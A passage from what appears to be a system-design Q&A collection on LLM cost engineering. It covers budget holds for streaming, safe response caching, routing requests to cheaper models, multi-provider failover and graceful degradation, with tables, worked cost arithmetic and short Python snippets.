Streaming is the hard case: you have held worst-case output but do not know actual until the end. Two guards. First, max_tokens is set from the hold, so the provider itself cannot exceed it. Second, a watchdog counts deltas and kills the stream when the running estimate passes the hold: otherwise a client that never disconnects burns the full reservation on every call.

Propagation

A sub-agent's remaining budget is parent_cap - parent_held - parent_spent, and its own hold nests inside the parent's. Without nesting, a fan-out of 20 agents each sees the full tenant budget and the ceiling is decorative.

Trade-offs

choicewhen it winscost
Reserve worst caseHard ceilings, untrusted callersOver-reserves; the example below holds 1.3× the observed average
Meter after the factInternal, trusted trafficA runaway loop can spend the whole cap before the first alert
Fail closed on ledger outageMoney is the constraintAvailability hit; every request 503s
Fail open with alertLatency is the constraintUnbounded spend during the outage

Deciding criterion: is the ceiling a contractual limit or a guardrail? Contractual → reserve worst case, fail closed. Guardrail → meter after, fail open, alert.

Failure modes

  • Cost-meter failure: usage chunk never arrives (client disconnect, provider 5xx). Hold expires by TTL; alert on held/spent > 3 sustained for 10 minutes.
  • Retry storm: retries re-reserve, so a 5-retry policy multiplies the hold by 5. Cap retries at 2 and reuse the original hold.
  • Recursion: agent A calls B calls A. A depth cap plus the nested hold stops it; without the depth cap the ledger stays correct but latency does not.
  • Partial stream: client disconnects at token 200 of 1024. You still pay for 200; reconcile against the provider's usage, not your own count.

Worked arithmetic (hypothetical prices, $2.50/M input, $10/M output)

Tenant cap $50/day. Request: 8,000-token prompt, max_tokens 1024.

  • Reserve: 8000 × 2.50/1e6 = $0.0200 input; 1024 × 10/1e6 = $0.01024 output → $0.03024 held.
  • Actual output 300 tokens → $0.0030. Reconcile releases $0.00724.
  • Worst case: 50 / 0.03024 ≈ 1,653 requests/day. At the observed average of $0.0230, ~2,170. The gap is the price of a hard ceiling.

Curated: · Written: · Reviewed:

Difficulty: Hard
Q&A-16

Design safe caching for LLM cost reduction.

Answer

Core answer. Use two caches with different risk profiles, and treat semantic caching as a separate, gated decision. First, an exact-match response cache keyed on a canonical hash of the whole request: tenant, effective authorization, model, prompt template, decoding params, output schema, RAG index version, tool policy, locale, and normalized input. A hit returns the stored answer and costs nothing. Second, the provider's prompt-prefix cache (OpenAI caches prompts ≥1024 tokens automatically at 50% off cached input tokens; Anthropic uses explicit cache_control breakpoints, 5-minute default TTL, cache reads at 0.1x base input). Prefix caching carries no correctness risk: it only reuses the KV state of an identical prefix. Semantic caching (embedding similarity) is where you get burned: a 0.9 cosine threshold will serve a wrong answer to a different question. Only enable it above ~0.95 with a validated eval set, and never for personalized or side-effecting requests.

Why normalization prevents collisions. Two requests that differ only in JSON key order, whitespace, or float formatting must hash identically, or you lose hits; two that differ in authorization must hash differently, or you leak. Canonicalize the input, then include the effective scopes (not the user id) so a permission change rotates the key.

Python
import hashlib, json

def cache_key(req, ctx):
    canon = {
        "tenant": ctx.tenant_id,
        "acl": sorted(ctx.effective_scopes),   # authorization, not user id
        "model": req.model,                     # "gpt-4o-2024-08-06"
        "template": ctx.template_hash,          # sha256 of rendered system prompt
        "decoding": [req.temperature, req.top_p, req.seed],
        "schema": ctx.output_schema_hash,
        "rag": [ctx.index_version, ctx.filter_hash],
        "tools": ctx.tool_policy_version,
        "locale": ctx.locale,
        "input": normalize(req.messages),       # strip, collapse ws, canonical JSON
    }
    blob = json.dumps(canon, sort_keys=True, separators=(",", ":"))
    return "llm:v3:" + hashlib.sha256(blob.encode()).hexdigest()

Store the value as (answer, validation_status, source_ids). Serve only when validation_status == "validated": a cached answer that failed schema validation must not be replayed.

LayerKeyCorrectness riskSaving on hit
Exact-match responsefull canonical hashlow if key complete100% of call cost
Provider prefixtoken prefixnone50% off cached input (OpenAI); 0.1x read (Anthropic)
Semanticembedding sim ≥ 0.95high: false hits100% on near-duplicates

Arithmetic (hypothetical). 1M requests/day, 3,200 input + 300 output tokens, gpt-4o at $2.50/$10 per 1M tokens. Per call: 3200×2.5/1e6 = $0.008 input + 300×10/1e6 = $0.003 output = $0.011, so $11,000/day. A 35% exact-match hit rate saves $3,850/day. On the remaining 650k calls, prefix caching the 3,000-token shared prefix saves 3000×2.5/1e6×0.5 = $0.00375 each = $2,437/day. Total ≈ $6,287/day, a 57% cut.

Failure modes and detection. Stampede: a deploy or invalidation makes a hot key cold and N identical requests miss at once. Watch miss-rate spikes and provider 429s; fix with a single-flight lock per key. Poisoning: an attacker seeds a wrong entry. Sample cache hits against an eval set and diff outputs; never cache tool-calling or side-effecting requests, and namespace per tenant. ACL revocation: a user loses access but the cached answer persists. Include the ACL version in the key and invalidate on permission change. Stale RAG: reindexing leaves answers citing old docs. Invalidate on index_version bump.

When not to cache. Below roughly a 10–15% hit rate the cache and its invalidation logic cost more than they save. Side-effecting requests (writes, payments) are never cacheable. Set exact-match TTL to 1–24h with event invalidation; keep semantic TTL to 5–15 minutes.

Curated: · Written: · Reviewed:

Difficulty: Hard
Q&A-23

How do you route each LLM request to the cheapest model that still clears a quality bar, and what happens when the cheap model fails that bar at runtime?

Answer

Core (first 90 seconds). Routing is two layers: an offline-evaluated eligibility table saying which task classes a cheap model may serve, and an online guardrail that verifies the cheap model's output before it is returned. The fallback is one bounded escalation to the next tier, not a retry loop.

Assumptions I'd state: task classes are enumerable (field extraction, classification, short summarization, open-ended reasoning); each has a quality bar defined as a pass rate on a frozen eval set, not a vibe; the provider exposes dated model snapshots, so "cheap model" is a pinned version rather than a floating alias.

Eligibility comes from eval runs, not from price alone:

task classcheap tierquality baronline guardrailescalation
field extraction8B quantized, self-hosted≥98% schema-valid, ≥95% field F1JSON schema + required-field check70B hosted
classificationmini-class hosted≥97% agreement with gold labelslabel in allowed set, confidence ≥0.7frontier-class hosted
open-ended reasoningnot eligible——always expensive tier

The guardrail runs cheapest-first: deterministic checks (schema, enum, citation presence, regex) on every cheap-tier response; a small verifier or entailment check only on the residual. An LLM judge on every request can cost more than the model it judges: that is the standard way this design loses money.

Escalation is bounded: one hop, one retry, then a typed failure. The request carries a routing decision ID so the escalated call reuses the same context and the response is never a splice of two models.

Cost arithmetic. Illustrative, using published list prices from late 2024 (pin the pricing version in the release manifest: prices move):

1M requests, 1,500 input + 400 output tokens each.

  • Cheap tier at $0.15/M in, $0.60/M out: $0.000225 + $0.00024 = $0.000465/req → $465.
  • Expensive tier at $2.50/M in, $10/M out: $0.00375 + $0.004 = $0.00775/req → $7,750.
  • At a 20% escalation rate: 0.8×465 + 0.2×7,750 = $1,922. Still ~75% below all-expensive.

That 20% is the number to watch, and it is also the guardrail's health signal. If it falls to ~0%, either the cheap model improved or the guardrail stopped firing. Canary a known-bad prompt set through the guardrail on a schedule to prove it still catches failures.

Failure modes.

  • Provider silently updates the cheap model. Detect with a daily eval on the frozen set; pin dated snapshots where offered.
  • Escalation storm: the cheap tier degrades, everything escalates, cost and latency spike together. Circuit breaker per (model, task class): escalation rate >30% over 5 minutes → pin that class to the expensive tier, alert, keep serving.
  • Guardrail cost exceeds the saving. Budget the verifier: if verifier cost per request exceeds 20% of the cheap-tier saving, fall back to deterministic checks only for that class.
  • Mid-conversation model switch. Route at turn boundaries; pin the model for the session or re-evaluate with full context, never split one answer.

Roll the routing policy out as a flag with a sticky cohort, canary it against the current policy on cost-per-success and quality-per-slice, then widen.

Curated: · Written: · Reviewed:

Difficulty: Hard
Q&A-11

Design multi-provider failover.

Answer

First I'd pin down which failure I'm insuring against, because that decides the whole design. I'll assume a chat product with a 99.9% availability target, a p95 time-to-first-token budget of 1.5s, a primary vendor's flagship model, and a second vendor as fallback. The answer is not "call B when A throws." It's a pinned, pre-tested fallback contract plus a router with a circuit breaker, and the hard part is semantic compatibility, not the network.

So the fallback is a manifest, not a model name. Every field that changes behavior is pinned to a revision and tested together:

fieldprimaryfallbackwhy it must be pinned
model revisiongpt-4o-2024-08-06claude-3-5-sonnet-20241022a floating alias can move under you mid-incident
max output16k tokens8k tokensa 12k-token answer silently truncates on failover
tool schemastrict JSON schemaJSON schema, no strict modestrict mode rejects optional fields the other accepts
prompt cacheautomaticexplicit cache breakpointshit rate drops the moment you switch
regionus-eastus-east + euretention and residency differ per region

Now the breaker. I keep a 30-second rolling window and trip when error rate exceeds 50% over at least 20 requests, or when p95 TTFT runs above 2x baseline for 60 seconds. A single 500 must not trip it: provider blips are routine, and a flapping breaker thrashes your caches and doubles cost. Concretely: 20 requests in the window, 11 return 429, that's 55%, breaker opens and traffic shifts to the fallback. After 15 seconds it goes half-open and sends 3 probe requests; 2 succeed, so it closes, but I ramp 10% → 50% → 100% over five minutes rather than dumping the full load back on a provider that just recovered.

Retries are bounded and idempotent. One retry on the same provider for non-streaming calls, jittered backoff starting at 200ms. Never retry after the first token is emitted on a stream: you'd duplicate output. Every request carries an idempotency key so a retried call doesn't double-bill or double-write.

Cache keys must include provider and model revision. If you key on prompt hash alone, a fallback response gets served for a primary request, and the tokenizers differ, so the output is subtly wrong. That's the failure that hides for weeks.

The trade-off worth stating: cross-provider failover versus multi-region of the same provider. Multi-region keeps tokenizer, schema and safety behavior identical and is far cheaper to build, but it does nothing when the vendor deprecates your revision or ships a bad one. Cross-provider covers that, at the cost of the compatibility work above. The deciding criterion is your risk register: if the top entry is "vendor deprecates the model," you need cross-provider; if it's "AZ outage," multi-region is enough.

Failure modes I'd instrument, not just rehearse. Partial stream: the provider dies after tokens are emitted. Detect by streams ending without a finish reason, and surface a truncated marker rather than retrying. Failback flapping: breaker transitions more than four times an hour, fix with a minimum dwell time. Silent quality regression: shadow 1% of live traffic through the fallback continuously and alert if its eval pass rate falls below 95% of the primary's. Cost: with hypothetical pricing of $3/M input and $15/M output on the fallback versus $2.50 and $10 on the primary, an hour at 100 rps with 1.5k input and 400 output tokens costs roughly $3,800 instead of $2,800. A number worth having before the incident, not during it.

Finally, degraded mode is a decision, not a fallback: when both providers are down or over budget, interactive chat drops to a smaller model and batch jobs queue, rather than returning 500s.

Curated: · Written: · Reviewed:

Difficulty: Hard
Q&A-21

Design graceful degradation under LLM budget pressure.

Answer

Clarify first. "Budget pressure" is two limits that need different handling: the provider's hard quota. Tokens/min and requests/min, exposed in response headers such as OpenAI's x-ratelimit-remaining-tokens and Anthropic's anthropic-ratelimit-tokens-remaining, and your own cost budget, say $/day per tenant. Assume a multi-tenant service sharing one provider quota, tasks tagged critical or standard, and one non-negotiable rule: schema validation, auth and safety checks run on every rung. The answer is admit-before-spend, a fixed degradation ladder, and an explicit status on every response.

Mechanism: reserve, then reconcile. Don't discover exhaustion from a 429. Estimate the request's tokens, reserve them from a per-tenant token bucket and a global one, call, then reconcile against the usage field in the response. A reservation that is never reconciled leaks budget, so give each reservation a 60-second TTL and reconcile in a finally.

Python
# Python 3.12, redis-py 5.x
def admit(tenant, task, est_tokens):
    if task.criticality == "critical":
        return Route.FULL                            # never shed; page if exhausted
    if not bucket.try_reserve(tenant, est_tokens):   # 1-min window
        return Route.DEFER
    if global_bucket.remaining() < est_tokens * 1.2: # 20% headroom
        bucket.release(tenant, est_tokens)
        return Route.SHED
    return Route.FULL

# after the call, in a finally block:
bucket.reconcile(tenant, est_tokens, resp.usage.total_tokens)

Trace: estimate 4,800 tokens, response usage.total_tokens = 4,300, so 500 go back to the bucket. On timeout, reconcile with the estimate, no refund, and let the TTL release the rest.

The ladder. Rungs are ordered by how much answer quality they cost, and each has a trigger.

rungtriggerchangestill enforced
0 fullglobal remaining > 20%—everything
1 shorter evidenceremaining 10–20%retrieve top-20 → top-5 chunksschema, auth, safety
2 smaller modelremaining < 10%gpt-4o → gpt-4o-mini, only if it passed the same eval setschema, auth, safety
3 defertenant bucket empty202 + Retry-Afternothing spent
4 rejectcritical task, no budget503 + page—

Rung 2 is the one people get wrong: a smaller model is only eligible if it clears the same eval set as the primary, otherwise you've traded a visible failure for a silent one.

Arithmetic. Quota 200,000 tokens/min. Critical traffic is 30 req/min × 4,800 = 144,000, leaving 56,000: about 11 full standard requests/min. If standard demand is 120/min, you must shed ~109/min, which is why rungs 1 and 2 exist rather than a single reject.

When degradation is wrong. If the user can't tell a partial answer from a complete one (a legal clause, a dollar figure, a medical dose) defer instead. The deciding question is whether the output is verifiable by the reader; if not, a plausible-but-short answer is worse than a 202.

Failure modes. (1) Reservation leak: reserved - actual climbs monotonically while quota is fine. Alert on reservations older than 60s. (2) Retry storm: 429s trigger retries that consume the budget you're protecting. Cap retries at 2 with jittered backoff and count them against the bucket. (3) Silent quality collapse: the fallback passes schema but fails eval. Score a fixed 200-item shadow set hourly and alert if fallback win-rate drops below 90% of primary. (4) Cross-tenant borrowing: one tenant's burst drains the global bucket. The per-tenant bucket is what stops it, and per-tenant spend vs. quota is the signal.

Curated: · Written: · Reviewed:

Difficulty: Hard